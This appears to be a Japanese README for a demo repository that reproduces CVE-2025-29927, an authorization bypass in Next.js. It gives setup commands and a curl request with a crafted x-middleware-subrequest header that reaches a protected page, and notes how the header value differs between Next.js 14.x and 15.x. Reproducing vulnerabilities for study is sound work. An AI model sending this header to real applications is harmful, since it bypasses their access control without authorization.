
Next.js における認可バイパスの脆弱性を再現するデモです。
当該脆弱性についての詳細は Next.jsの脆弱性CVE-2025-29927まとめ を参照してください。
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
npm install
npm run dev
curl 等を用いて x-middleware-subrequest ヘッダーを付与したリクエストを送信します。curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
これにより認可バイパスが発生し、/protected ページにアクセスできるようになります。
middleware の値は Next.js が認識するミドルウェアの名前です。このデモアプリでは middleware という名前のミドルウェアが存在しているため、この値を指定することで認可バイパスが発生します。
[!TIP] Next.js 15.x では
MAX_RECURSION_DEPTHが 5 に設定されているため、middleware の値を 5 回以上:で区切って繰り返す必要があります。古いバージョン (14.x) では単に「 middleware 」だけで十分でした。このデモアプリでは Next.js 15.2.2 が使用されているため、このような値が必要です。